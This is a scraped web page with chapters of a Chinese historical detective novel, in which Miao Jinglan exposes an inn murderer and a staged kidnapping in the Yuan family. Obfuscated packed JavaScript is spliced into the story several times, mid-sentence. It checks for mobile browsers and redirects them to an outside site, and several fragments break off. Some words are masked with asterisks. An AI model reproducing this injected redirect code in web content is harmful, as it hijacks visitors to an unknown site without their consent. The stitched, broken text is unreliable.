“老板,你不要急恼,你不是也想知道究竟谁是杀人凶手吗?以我之见,那杀人者还在我们店里。一天不找到,你这店里头的生意也不受影响吗?”苗景岚借机劝道。 春娘的眼睛一亮,“听你这意思,你们知道凶手是谁?” 贾仁凑过来说:“不知道全部,但知道一个大概。反正只要按照我们说的做,就一定能把那个凶手揪出来!” 春娘似乎对贾仁挺有好感,胳膊肘顶上对方,娇嗔的说:“那奴家就听公子的话,要是凶手真在店里,公子可以替奴家作主啊!” 第40章 汾酒(11) 吉祥客栈。 大白天。 客栈里住着的人,包括客人、老板、伙计,全部站在一楼,客栈的走廊上还吊着一具尸体。 这气氛怎么看都觉得有一丝诡异。 游侍扫视一眼众人,然后走到苗景岚身边:“姑娘,这人可都到齐了,能不能抓到凶手就看你了。” 苗景岚点点头,朝着众人说:“把你们的鞋脱下来。” “什么,脱鞋?”众人一口,全部目瞪口呆,几乎是异口同声的问道。 那位刚才差点跟禁军统领动手的老者不屑的说:“我说姑娘,你这是什么毛病?大白天的要我们脱鞋?” “就是,这抓凶手跟脱鞋有什么关系?”伙计侯三也质疑的问道。 苗景岚向众人解释道:“既然我要你们脱鞋,自然有其中的道理。其中的原由不便细说,等最后真相大白自然会告诉你们。” “不行,你不说清楚我可不脱。不是因为别的,实在是因为小的就只有这样一双鞋,常年穿在脚上早就臭不可闻,真要是脱下来怕是能够臭倒一大片。”侯三调侃。 其他人见有人反对,自然也跟着附和。 长者身边的那位丑姑娘也是一口拒绝,没想到她不但人长得丑,连声音都是公鸭嗓,给人一种雌雄莫辨的感觉:“俺出门走得急,就穿了一双鞋出门。这双鞋有点儿小,实在是脱不下来呀!” “不用你们脱鞋,取一盆水来,将你们脚底在水里面沾上水,鞋底上沾有什么都一清二楚。”苗景岚耐心的解释。 “难不成这杀人还跟鞋底有什么关系?你们这些人就喜欢故弄玄虚。”春娘也不满的哼哼着。 贾仁见这么多人欺侮自己的媳妇,马上挺身而出:“你们不愿意的话我先来,不过就是在大庭广众之下脱个鞋嘛,有什么好大惊小怪的。” 他坐下来,很利索的把鞋子脱下来,然后放在中间的一盆水里。 水很清澈,映照得贾仁的鞋子也很干净。 “既然公子都脱过了,那我也来吧。” 元心兰也很大方的配合苗景岚,当着众人的面一脱鞋,然后在水里一过。 同样是清澈见底,那鞋上都没有沾到什么尘土。 苗景岚一想,这几天他们三个人都坐着马车,连地面都没怎么走过,鞋底怎么会脏呢? 这个办法还是苗景岚自己想出来的,她在李斌的房间看到一串脚印,和一系列不完整的拖痕。 苗景岚百分之百可以确定,那是凶手留下来的。 所以,她才提出这个主意。 “哼,左右不过是看看鞋底嘛,有什么好稀奇的。”春娘带着几分不情不愿脱下了鞋,还故意在贾仁面前调侃:“我这脚可是三寸金莲,想当初拜倒在我这双玉足之下的男人数不胜数。今天算是便宜你们了。” 春娘连带着把鞋往水里一过,鞋底同样是什么也没有。 紧接着,轮到那几个从京城来的禁军。 这几人脚上穿着的都是军靴,那鞋底下除了沾满一些黄泥和尘土,其他的东西都没有。 看样子他们是一路风尘仆仆从京城赶来,就忙着完成任务。 而那易过容的一家三口,也跟禁军这伙人差不多,唯一不同的是,他们的鞋底多一层白色的灰胶。 可见,他们来自于一个盛产灰胶的地点。 苗景岚也和大家一样,试过之后,发现鞋底干干净净的。 “你们这鞋底子说看也看过了,这凶手到底找到没有?”春娘不满的抱怨着。 单纯的姑娘元心兰好像想起一点什么,“咦,我怎么觉得好像少一个人。” 苗景岚仔细看一眼,发现元心兰说得对,好像还真少一个人。 一柱香的时间之后,禁军统领从吉祥客栈的后厨里找到试图从狗洞里钻出去的侯三。 只见侯三被游侍反捆着双手如同一条死鱼一般扔在地上。 春娘看见,抬起腿在侯三身上狠狠踹上一脚,朝他唾弃一口:“呸,侯三,这些年你多亏老娘收留才有这容身之地,你倒好居然在老娘店里干起吃里扒外的勾当!” 侯三也不是个好东西,躺在地上还不忘回怼:“我呸,乔春娘,说得多么好听。你收留我?你不是借着我在你这里避难的时候骗老子给你免费当伙计,你能有今天。这店里面里里外外都是我一人,你他娘的想累死老子?老子才不想一辈子给你当奴才呢!” 春娘一听这话,顿时炸了锅,脚下踹侯三的力道使得更大了。 “你这憨货,说老娘累死你?也不想想,你犯事躲在这镇上若不是老娘收留你,你早就饿死冻死了!这破客栈大半个月也没有一个客人,还说老娘累死你,你个忘恩负义的白眼狼!” 游侍把他脚上的鞋脱下来,在水里面一过,只见水面上轻轻浮起一层淡淡的白粉,那粉上还裹着一种淡淡奇异的香味。 游侍和苗景岚交换一个眼神,那意思仿佛就是,一切都对上了。 就站在不远处的贾仁看见,莫名觉得不舒坦。 自己未来的媳妇为什么要用那样的眼神看对方,就好像有什么事情瞒着自己一般。 “侯三,既然你已经逃不掉,干脆把你做的事情全部说出来吧。如果你老实交待,本官带你回京之后,说不定会枉开一面,向上官求情饶你不死。”游侍问躺在地上的侯三。 没想到侯三到现在还在耍无赖,踹着明白装糊涂:“大人说的什么,小的没听明白。小的本来想钻出去吃点东西,没想到糊里糊涂被抓回来。做了什么事情,小的不明白呀。” “哼,都到这时候你还在这里装傻?那李斌是不是被你所杀?他身上的东西是不是被你拿走?侯三,你要是敢有隐瞒,我保证让你活着比死更难受!”游侍身为禁军统领,此时一脸的肃杀之气。 侯三躺在地上犹如死鱼一般,他也知道自己再无出路。 “对,李斌是被我所杀!但东西并不在我身上,老子找了半天并没有找到他说的那个宝物。” 第41章 汾酒(12) “你撒谎!”游侍怒不可遏,“事到如今,你还要抵赖?搜身!” 游侍旁边站着的两个禁军开始在侯三身上摸来摸去,结果从他的怀里掏出一个小包裹,里面都是一些稀有的宝石和珍珠之类的。 确实是从公主府里面带出来的。 苗景岚也看过这些东西,并没发现有什么记录着皇家秘闻的东西。 元心兰看见,不由好奇的问:“这些东西并不特别贵重呀,他既然杀了人,为什么不偷走死人身上最贵重的东西。” 苗景岚解释说:“这些东西虽不贵重,但极易脱手,如果偷走那些更贵重的首饰,只怕卖出去也会被人发现。” 原来这些宝石和珍珠并没有长公主府的印记,而那些更贵重的首饰上面都会有公主府的痕迹。 元心兰恍然大悟:“原来如此。” 侯三有些不服气:“这店里这么多人,你们凭什么认为我就是凶手?就因为一双鞋吗?” “哼,自己作贼心虚,还怪得了别人?李斌是长公主最得宠的面首,他用的是脂粉比一般女人用得还要珍贵。昨天你杀死李斌的时候,不小心弄撒了他的香粉,你不知道,还把香粉沾到鞋底。所以,我们才想出要你们脱鞋试水的戏码。哪料到你这家伙心里有鬼,还不等到自己就想开溜,事到如今你还不服气。”游侍说出经过。 元心兰听完,眼底隐隐露出几分佩服的神情:“哇,从京城来的官差就是不一样,这么快就发现端倪。” 听到这话,游侍反而不好意思起来,“这其实是苗姑娘想到的主意,那地上的香粉也是苗姑娘最先发现的。” “哦,原来还是我苗姐姐最厉害。”元心兰从此对苗景岚更加崇拜。 那名年长的老汉问侯三:“李斌手里面的皇室秘录真的没有在你手上?” “老子对天发誓,真他娘的没看到什么秘录。其实老子也冤,原本侍侯这娘娘腔半个月,以为他会手一松赏老子一点什么,没想到这么抠门。本来老子昨晚只是想顺手牵羊,没想到被他发现,他说要告老板娘赶我走,我只有一不做二不休、杀掉这个娘娘腔。从头到尾,他都没有跟老子提什么皇室秘录。” “那就好。” 老汉说完这话,飞快的用胳膊一拧,当着众人的面拧断侯三的脖子。 游侍本来想上前阻止,可是那老汉出手太快,几乎只在眨眼之间就取走对方的性命。 “大胆,居然敢在官差面前杀人!” 游侍这话一出,那假扮的一家三口齐齐上前。 有的亮出鞭子,有的亮出袖剑,直接就要和禁军的人打起来。 那个扮成丑丫头的壮汉也不装了,索性用男子的声音问道:“大哥,要动手解决掉这些禁军吗?憋了这么多天没杀人,老子都有些手痒了。” “暂时不用。驸马只是雇我们杀掉盗走秘录之人,并没有让我们杀官差,这几只虾米还轮不到我们动手!” “你们是驸马的人?”贾仁问。 老者并不否认:“呵呵,这皇室秘录一旦落入一些别有用心之人的手,就会引起轩然大波,想必在座的各位比我更清楚。一个身附命案的逃犯,死不足惜。禁军统领大人,该不会因为这个人跟我们动手吧?” 游侍强压住肚子里面的火气,那老汉说得对,既然是驸马爷特意派人来杀人灭口的,就算是告到上司那里,只怕也不会怪罪他们。 反而自己因此跟驸马的人动手,就算抓到人交差,到头来也不会落下什么好处,说不定上司会把人放了,自己反而跟驸马爷交恶。 这皇室的事情,本就说不清。 那老汉见游侍没有想抓自己的意思,轻笑一声,“既然统领大人不想抓人,那老夫就先走一步,以后若是有机会再遇见,老夫一定请大人喝杯水酒。” 然后,他又悄悄走到贾仁身边,说了一句让人听不懂的话,“公子,家里让人托句话。若是公子在外面玩够了,记得回家。” 说完,带着那两个伪装成自己媳妇和闺女的家伙一块离开。 元心兰看着他们的背影,好奇的问:“那几个究竟是什么人呀?看着怪怪的。” 怪让人害怕的。 “十暗卫。”贾仁声音幽幽的说,“是皇室请来的江湖高手,武林里面武功最高的几个人,被皇室用重金收买,能干一些超越朝廷律法的事情。连朝廷的官员也未必奈何得了他们,甚至权力超过一些朝廷命官,专门帮皇室干一些见不得人的勾当。” 游侍也不由叹一口气,“既然李斌已死,那他的尸首我们就带走了。” 他身边的三个禁军把李斌的尸体抬下来,顺便把刚刚死去的侯三也丢到马上,这个案子就算结了。 游侍给春娘丢下一大锭银子,朝贾仁拱拱手,“公子,告辞。” “春娘,你能不能帮我找到三个月前在你们客栈逗留的换刀客吗?” “你找他们做什么?”春娘警惕的问道。 贾仁一指旁边的元心兰,“三个月前,这位姑娘的二哥来这杨家坡与换刀客做生意,从此再也没有回去。家中十分着急,小姑娘千里迢迢来寻找他二哥,春娘你人美心好,就帮一帮她吧。” 说着,贾仁从身上又掏出一锭银子给春娘。 春娘眉开眼笑,特别是那句人美心好,哄得她一张俏脸像桃花般分外迷人。 “公子这张嘴呀,真是让春娘都化成水。也罢,公子的事情就是我的事情。” 第二天,春香就打听到消息之后,并且还特意送给贾仁一个香袋,想当作他们的定情信物,吓得贾仁赶紧带着苗景岚和元心兰坐上马车逃走。 “哈哈哈哈哈……”元心兰一路上都拿这个当作笑料,不断的调侃着贾仁,“叫你平常爱捉弄我们,这一回总算碰到对头吧?我看你就不用回去,留在这个土匪窝里给人当压寨相公吧。” 贾仁嘴里面也不服气,“哼,想让我当压寨相公,那我也得先把你嫁给这里的光棍。这里的光棍可都是又凶又老,听说半夜还会打老婆呢。” “别吓人家兰姑娘,我觉得那个春娘也不错,要长相有长相,要身材有身材,关键是人家还有一家客栈。贾公子何不答应,也算是喜事一桩。”没想到连苗景岚也这样说。 贾仁不由沉下脸来。 …… 第42章 汾酒(13) “你真希望我找春娘?”贾仁的语气里面有点儿忧伤。 “看你整日游手好闲不着家,还不如找个年龄大一点的女人有个照应。” “切,你是要我找个娘吧。” “哈哈哈哈哈……” 几人知道是玩笑话,倒也没有当真。 但是,多情的贾公子心里面还是有点儿酸酸的。 …… 汾县虽然不算大,但是属于西北郡县最繁华的县城。 元家世代经营黄金买卖,而且还是官商。 在这汾县算是首富。 苗景岚坐了几天的马车,终于来到这传说中的汾县。 元家的宅子位于汾县的一处郊外,地处偏僻。 元家的祖先似乎天生不喜欢热闹,所以选的这处宅子也是远离人多的闹区。 下了马车,元心兰带大家来到大厅。 想不到这偌大的一个元宅,居然没有几个仆人。 走进大门之后,就见到一个看门的老头、一个圆墩墎的厨娘和耳朵有点儿聋的杂役。 元心兰有些不好意思的说:“不瞒你们说,我们元家到我爹这一代已经不太行了。生意越来越不好做,官家每年又要我们上供最好成色的黄金。我爹曾想过把这皇商的头衔推掉,可是请神容易送神难,官家的差事没那么好推掉的。” “到了我哥这一代,更是一代不如一代。大哥死后,我二哥接管这一切,可是二哥的性子不如大哥沉稳,做生意老是亏本。为此,我爹没有少跟我二哥吵。我二哥总说,将来一定要干出一番成就让我爹好好瞧瞧。” “元姑娘,你自己身边也没有一个贴身丫环吗?”苗景岚有些好奇,其实这个问题她早就想问了,直到最近跟元心兰熟络起来,她才提出来。 “原本是有一个的,但在我及笄之后也嫁人了。这些年,都是庆嫂照顾我,反正我也长大了。”庆嫂就是那个胖墩墩的厨娘,除了负责元家人的伙食,就是顺带照顾一下小姐。 想不到元家这个汾县首富居然如此落魄。 “元姑娘,我能不能看一看令尊和你二哥的住处?”如果是**案,苗景岚想到两个人的住处寻找一下线索。 “苗姐姐,你随我来。” 苗景岚、贾仁跟着元心兰来到她父亲和她二哥的住处。 元心兰的父亲住在北边的房间,紧挨着书房。 那是一个中规中矩的房间,里面都是一些款式老旧的家具,偶尔也有几幅名人的字画,可见元老爷平常是一个刻板的老人。 而元心兰二哥的房间就不一样了,里面不但有各式各样的古玩,还有一些新奇的西洋玩艺。 墙上挂着剑和**,桌子上的一个锦盒里面还放着一支西洋**。 贾仁看见那支西洋**,忍不住拿起来把玩一下。 “这东西在京城都不多见,你二哥从哪里搞来的?”贾仁惊讶的问。 元心兰撇撇嘴,“二哥平常就喜欢捣鼓这些兵器和稀奇的东西,听说这东西是他花大价钱从西域商人那里买来的。因为这个,父亲跟他大吵一架,二哥离家出走,过了好久才回来的呢。” “原来你二哥倒是一个性情中人,喜欢这些兵器。”贾仁原本是一个京城的纨绔,遇到这汾县的纨绔,居然有几分熟悉的感觉。 “元姑娘,能不能带我见见你大哥的房间?”苗景岚在见过元心兰二哥的房间之后,像是忽然想起什么,突然提出一个这样奇怪的要求。 连贾仁也有些好奇:“你要看他的房间做什么?他们的**案和他大哥有什么关系?” “我不知道。只是好奇想看看,既然来都来了,索性一起看看。” 元心兰也有些疑惑不解,“我大哥**快十年了,他的房间一直锁着,我爹不让打开。但是,既然苗姐姐想看,那就打开来看一下吧。” 元心兰这样一说,就招呼看门的邓叔把元心兰大哥的房间打开。 元心兰大哥的房间离着元老爷的房间不远,里面的家具和摆设和元老爷居然有几分相似。 只是跟喜欢兵器和西洋玩艺的二哥不同,元心兰的大哥好像更喜欢书籍。 在他的房间里面有一个大大的书柜,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然桌子上摆放着一桌子的好菜,但是苗景岚的心事全部在案件上面。 她用筷子蘸一点儿酒水,在桌上画了两个圈,又画了一条杠。 苗景岚指着那个小一点的圈说:“元二公子是三个月前失踪的,失踪前曾经去过杨家坡,还带来几个换刀客。” 她又一指那个小一点的圆圈:“元老爷像是半个月前失踪的,连带着他身边的老管家也不见了。” “我有一个疑问,既然元二公子和元老爷都失踪了,那你们元家的生意目前是谁打理?”苗景岚问。 元心兰一脸无辜,“这我倒是不清楚,想必二哥失踪之后,父亲也是做了万全的准备,才会单独去找二哥。反正自从他们失踪之后,家里面的生意一切如常,并没有什么大碍。” 苗景岚若有所思,然后对元心兰说了一句意外深长的话:“元姑娘,你不用着急,估计这几天就会收到来信。” “谁的来信?绑匪吗?”元心兰小脸煞白,一脸紧张。 贾仁也不由好奇的问:“你怎么知道一定会来信?” “现在还不好说,目前只是我的猜测,如果我猜得准的话,近期一定会有动作的。” 苗景岚的话音刚落,就看到门口的老仆递给元心兰一封信。 元心兰睁大眼睛,有些不敢置信:“苗姐姐,你这话也太准了一些。” 跟元心兰的意外相比,苗景岚倒是一脸淡定的模样:“别说那么多,先看一看信的内容吧。” 那封信没有封口,打开来直接就看到几个写得很丑的大字:明日子时,汾县土猪菜市口,一百两。 只是那个“百”字旁边有一个奇怪的黑点,好像**者是想写成一个“千”字,被人刻意用笔涂成黑色的圆圈,然后在旁边补了一个“百”字。 “哟,这个绑匪还挺会替人着想。不想讹你一千两,改成一百两。”贾仁在旁边吐槽。 元心兰的小脸煞白,“我要怎么办呀?” “元姑娘,你有一百两吗?” “有啊。” “那就去吧。” “苗姑娘,你有跟我一块去吧?”在见识过苗景岚的本事之后,元心兰对她有一种依赖的感觉。 苗景岚点点头,“我来就是跟你解决问题的。” 因为这封信,三个人今晚都不能睡。 元心兰害怕,苗景岚哄着她换了一身衣裳,贾仁则悄咪咪的来到苗景岚身旁。 “这个案子你有什么新想法?你怎么知道这两天一定会收到来信?” “现在还只是推测,无法肯定。等过两天再说。”苗景岚云淡风轻的说道。 贾仁板着一张脸,“哟,苗大人现在好神秘,什么也不肯跟我说。要知道咱们俩可是搭档,也是我带你离开黎县的。” “那又怎样?你还不是连**也隐瞒我,咱们两个不过是半斤八两而已。” 贾仁明白过来,不由轻笑一下,“哦,原来你是在怪我瞒着你?” “我哪有资格怪你?你想对我说时自然会说,就像这个案子,到了合适的时机也自然会告诉我一样。” “其实我……”刚说到这里里,元心兰走出来。 “苗姐姐,我已经换好衣服,可以出发了。” …… 当天的子时,三个人来到汾县的土猪菜市口。 这里白天是一个人来人往的市集,到了夜里空无一人。 元心兰一只手紧紧的抓住苗景岚的手,另一只手中揣着一张银票,手心里面都是汗。 “苗姐姐,那……那个人……真的会来吗?” “不确定是一个人?有可能是一伙人。现在还不知道,只能看下一步。” “能把你哥和你爹都**的,不可能是一个人。”贾仁也有自己的想法。 三个人等了足足一个时辰,也没有看到任何人出现。 当天快蒙蒙亮时,三个人才拖着疲惫的步伐回到元宅。 “**,这个绑匪耍我们!”贾仁骂了一句。 “咦,我爹的房间好像有些不对劲!”元心兰回家后感觉父亲的房间有些不同。 “哦?哪里不对劲?”贾仁听过这话,也冲到元老爷的房间。 房间里点着蜡烛,摇曳的火光照着房内的东西阴暗不明。 粗看一眼,没觉得这房间里面有什么不同。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864535|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 或许是太累,又或许是担心,一晚上一无所获之后,元心兰本能的还是回到父亲的房间。 “我也说不上来,反正就是觉得有些不一样。” “是桌上的砚台不见了。”苗景岚在扫视一眼房间之后,得出这样的结论。 元心兰听到这话,朝着桌子上看一眼,发现果然是文房四宝少了一样。 “对。我爹常用的那房砚台不见了。苗姐姐,你记性真好!” “白天时我便发现,你父亲桌上最贵重的东西就是那方砚台。那方砚台是黑玉制成,相当稀有。我想不仅是你爹房间里的砚台,你二哥房间里的东西肯定也少了。” 元心兰听苗景岚这样一说,也飞快的跑到自己二哥的房中。 这一看不打紧,把他自己吓一跳。 墙上的剑和**,以及桌上的**,统统不见了。 元心兰吓得脸色发白,“完了,家里面遭贼了!” 贾仁也愤愤的说:“这绑匪可真该死!居然给我们使了一招声东击西,趁我们不在家,把家里面的东西偷得一干二净。” “只怕这不光是绑匪干的。真所谓‘千防万防,家贼难防’。”苗景岚突然说一句意味深长的话。 贾仁恍然大悟:“你是想说……这些东西是家里面的下人偷的?” “我可没这样说,只是说元家出了内贼。” 元心兰有些不太相信,“我们元家虽然下人不多,但是都是跟着我们好多年的,每一个都是忠心耿耿,不可能会做出这样的事情的。” “其实想要引出内贼很简单,只要你们照着我说的去做,今天就能抓到这个贼。” 这下子,元心兰和贾仁都是半信半疑。 …… 第二天,夜半时分,元家的后院突然着火。 火光燃烧起后院的东西,火光冲天。 雄雄大火直奔前院而去,差点儿就要烧着前面的东西。 可令人奇怪的是,没有一个人出来救火,见眼着元家的宅子就要付之一炬,终于有一个人从黑暗中冲出来。 大声的呵斥着,“怎么还不出来救火?你们到底干什么吃的?” 第44章 汾酒(15) 眼见着元家后院的熊熊大火快要把整个后院烧尽,并且这大火还要顺势烧到前院,甚至烧毁整个元家。 黑夜之中,终于有道黑影按捺不住,冲进元家后院试图救火。 他一边救火一边破口大骂:“养你们这帮废物是干什么用的?见到家里烧成这样也不赶紧救火,真是一帮饭桶,真是一帮饭桶!” 他的话音未落,忽然从半空中出现一股宛若喷泉般的清水从天而降,正好浇在那燃烧的大火上,好巧不巧的把火浇灭。 黑影顺势抬起头来,就看到贾仁拿着一根又细又长的竹桶对准火苗。 贾仁被大火熏得脸发黑,还不忘朝着那黑影咧开嘴调皮一笑。 而屋檐下面,家里面的三个仆人老老实实的垂下脑袋,站在一边。 苗景岚和元心兰则朝着这边看过来。 元心兰看到那个黑影,眼中像是蕴含着泪水,激动的朝那人跑去:“爹,真的是你吗?” 只见元老爷穿着一身青蓝色的长衫,站在黑夜之中。 …… 一柱的时间之后,元家后院的大火彻底熄灭。 其他人也各自安顿好,元老爷和元心兰、贾仁、苗景岚坐在书房,元老爷讲起他这半个多月来的经历。 “没错,这一切是我原先就计划安排好的。”元老爷眼中带着血丝,满泪都写着疲惫,脸上更是带着几分辛酸,他向众人娓娓道来。 “元家虽然世代经商,但是一代不如一代,到我这一代更是穷途末路。实不相瞒,别看我们元家现在表面还风风光光,实际上早就入不敷出,从前年开始我就开始陆陆续续把元家的铺子典当出去。” 元心兰听到这里,有些不敢相信:“爹,家里真的有那么糟糕吗?可我看咱们家的那些铺子店面和生意还在呀。” “那是因为我从来未对你说过,你大哥死的早,二哥又不争气,家中只有你一个女儿,你娘死前又叮嘱我将来一定要让你衣食无忧,而我只想将你风风光光的嫁了,不想你卷入这些事情当中,为家中的事情发愁。” “那二哥失踪的事情也是你设计的?”元心兰不解的问。 元老爷说到这里,不由幽幽的叹一口气。 “你大哥过世的早,我虽有心栽培你二哥,但是无奈你二哥天生就不是经商的这块料呀。家里的生意越做越差,他反倒是结交一些不三不四的朋友,平日里花钱如流水。三个月前,也不知道他从哪里得到的消息,从西北边有人要出一批黄金,价格比寻常的黄金要低许多。他想也没有想,给我留下一封信便走了,这一走便是三个月。” “爹,这些事情我是知道的呀。” “我骗你说,你二哥失踪,其实我们之间一直都有联系。他写信说找到黄金的踪迹,叫我拿些银子来采购,可我到哪里给他弄来银子?我叫他不要痴心枉想,早一点回来,可是他居然不肯,还写信问我愿不愿意诈死,到时候带着元家的钱财远离这里?” “其实这些年元家的生意一直很难做,虽有官商的名头,但是途有虚名。他的话正中我的心事,我早就有停掉元家的生意,归隐山田的想法。偏偏元家世世代代顶着黄金官商的名头,想要辞去还真是一件不容易的事情。” “看到你二哥的信,我不由心生出一个主意。先谎称你二哥失踪,然后我出门寻找,结果我又失踪,最后来一个活不见人、死不见尸。最终,朝廷也会选过其他的人来当这个官商。” “只是我没有想到,你居然在我走后独自离家寻找王……” 元老爷刚说到这里,贾仁故意在旁边咳嗽两声,“咳咳咳……我现在是贾公子。” 元老爷恍然大悟,“是到京城寻找贾公子,后来你带着他们回到元家,那个姑娘把元家看个仔仔细细,我就觉得事情会露陷,想早一点让你们离开,没想到弄巧成拙。” “只是我不太明白,那个姑娘是怎么知道会收到我的信?又怎么确定我会出现?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869886|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元老爷一脸的疑虑,看着苗景岚就像是看到一个妖怪。 不仅是元老爷,元心兰也是一脸的不解:“是呀,苗姐姐,你怎么知道是我爹冒充的绑匪?又怎么猜到他一定会寄信过来?” 贾仁看着自己心爱的女人,一半带着宠溺一半带着疑惑,“说吧,我的神探姑娘!” 苗景岚负着双后,不以为然:“其实我并不知道究竟是你二哥还是元老爷冒充的绑匪,我只是知道他们两个人根本不是被**?” “哦?你是怎么知道的?”元老爷一脸的惊讶,他觉得自己和儿子的计划无懈可击,连自己最疼爱的女儿都没有告诉,外人更不可能知道。 “因为你们的摆设,还有你们的家仆。” “他们怎么了?” “谁会相信汾县首富的府里只请三个仆人,如果不是因为元家遇上大变故,就是这家人想悄悄离开。而你们家里的摆设也在慢慢减少,特别是那块昂贵的黑玉砚台,元老爷一定舍不得,所以想悄悄的带走变卖。” “而你们府里的那几个下人,都是跟着老爷十几年的,怎么会做出偷自家主人东西这样的事情呢?唯一可能的,只有拿走这些东西的只有自己主人,可是为什么他要这么做?” “思来想去,只有一个可能,元老爷并没有被**,这一切只是他自己上演的戏。如果真是这样,下一步元老爷会怎么做?肯定是做实被**的事情,那么这时出现一封**信就在情理之中。” 元老爷终于明白,不由尴尬一笑,“原来如此。枉我还自作聪明,原来一切都被你猜中。兰儿倒是挺有眼光,带来的朋友一点儿也不差……” 忽然间,元老爷剧烈地咳嗽起来,胸口一阵阵的发闷,然后咳出一口老血,整个人倒地身亡。 大家都不敢置信的看着这一切,元心兰更是吓得魂不附体,抱着父亲的尸体大哭起来。 就连苗景岚也觉得很突然,眉头凝成一个结:“怎么会这样?” 第45章 汾酒(16) 没有人能够想到,就在苗景岚猜中元家的**案是元老爷所为后,元老爷就在众目睽睽之下死亡。 元心兰抱着父亲的尸体,早已泣不成声:“爹,爹,爹你怎么了?跟我说句话呀?” 可是,元老爷已经脸色腊白、嘴唇发紫,身体逐渐变凉。 “快去叫大夫。”贾仁吩咐一声,几个下人就跟没魂一样的跑出门外。 可是,元老爷已经无力回天。 苗景岚看看元老爷的尸体,发现他几根手指的指甲都呈暗黑色,不由跟元心兰和贾仁说:“看尸体的特征,很有可能是**。” “**?我爹一生都与人为善,怎么有人会下毒害死他?”元心兰哭着问。 苗景岚没有回答,也无法回答。 她也不知道刚刚才解开元家绑匪的秘密,是谁又这样着急的想要元老爷的性命。 三位仆人连夜叫来两名大夫,得出的结论都是**而亡,无药可解。 这一夜,元家的人都没有睡。 连带着贾仁和苗景岚也一夜未合眼。 元心兰更是抱着父亲的尸体哭了一夜。 天亮时分,贾仁对着哭肿眼的元心兰说:“去报官吧,不能让元老爷死不瞑目。” 元心兰犹豫起来,之前二哥和元老爷失踪,元心兰就到县衙报官,结果县衙给出来的答应是失踪。 如今又到县衙说元老爷被人毒死,那么之前所说的**案就成了**,该怎么向官府解释呢? 正当元心兰感到为难时,元家宅子里匆匆忙忙走进来一个人。 一个身穿黑色劲装的魁梧男子走进来,当元心兰看到那人时,不由眼睛一亮,情不自禁喊了一声:“二哥。” 元心兰的二哥元文松出现在众人面前,当元文松看到躺在地上的元老爷时,元文松问道:“兰儿,咱们爹怎么了?” “爹……爹……爹他**!”元心兰又开始抽泣起来。 “啊?怎么会?”元文松一脸的不敢置信,“兰儿,爹是**的?” “爹是被人毒死的。” “什么?毒死的?”元文松像是突然想起什么,恍然大悟的说,“一定是他们,一定是他们干的!” “谁干的?”苗景岚追问。 “咦,你是谁?”元文松打量苗景岚一眼。 “我是你妹妹请来的客人,来帮她查案的。” 元文松立马露出一幅不屑一顾的神情:“什么?查案?什么时候开始,女人也能来查案?” 贾仁站在苗景岚面前,“二公子,为什么女人不能来查案?说不定这女人的查案能力比男人还强呢。” “王……” “咳咳……我现在是贾公子。” “哦,好,贾公子。贾公子说是就是吧。”元文松催促自己的妹妹,“兰儿,你想不想跟二哥离开这个伤心地?咱们这就变卖家里的财产,离开这个鬼地方。” 元心兰一幅难以置信的表情,“二哥,你在说什么呀?咱爹才刚刚去逝,凶手还没有找到,尸骨未寒,你怎么就想着变卖家财?” “家里的生意一直是爹管着的,如今爹也不在了,你觉得元家还有希望?这元家顶着官商这个名头,是混得一年不如一年。索性不做这个官商,咱们离开这里重新开始。” “要走你走,反正我不走。害死爹的凶手还没有找到,没抓到凶手之前我哪里也不去。” “小妹,你怎如此固执。” 苗景岚见状,上前一步问道:“元二公子,小女有一事不明,你为何会想到假装被**这样的戏码?听你刚刚的话,好像早就知道是谁毒害了元老爷?” 贾仁也说:“是呀,元兄,你要是知道真相的话就赶紧说出来,也好让元老爷能在九泉之下死得瞑目。” “唉,我怪就怪我认人不清,我也没有想到刘叔介绍给我的人会是这样的人。”元文松叹口气说道。 元心兰听到,更惊讶了。 “你说什么,害死爹的是刘叔?二哥,这到底是怎么一回事呀?” “元家因为生意不好,我想帮爹做好生意,听说外边有一批便宜的黄金,比我们从金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869887|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矿里拿的货还要便宜。我就向刘叔介绍几个会功夫的人出门当保镖,结果刘叔说他在杨家坡有两个世侄,功夫不错,武功也不错,就让我去找他。” “我没有想到,刘叔介绍的人会起歹心。我们三人一起启程,半路上他们就把我随身带来的银两给顺走,还要我写信给父亲,让他答应**的计划。” “那你真答应了?”元心兰睁大眼睛问道。 